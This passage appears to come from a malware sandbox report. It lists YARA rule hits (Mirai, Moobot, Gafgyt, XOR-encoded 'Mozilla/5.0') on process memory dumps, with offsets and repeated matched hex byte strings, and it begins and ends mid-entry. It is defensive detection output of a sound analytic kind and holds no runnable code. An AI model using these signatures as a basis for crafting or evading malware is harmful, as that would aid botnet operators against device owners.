2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6329.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6427.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6427.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6427.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6427.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6427.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6427.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7114.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7114.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7114.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7114.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7114.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7114.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7360.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7360.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7360.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7360.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7360.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7360.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7320.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7301.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7301.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7301.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7129.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7129.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7129.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6512.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7129.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6512.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6512.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6512.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6512.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6512.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6699.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7115.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7062.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6693.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6791.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6756.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6756.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6756.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6756.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6756.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 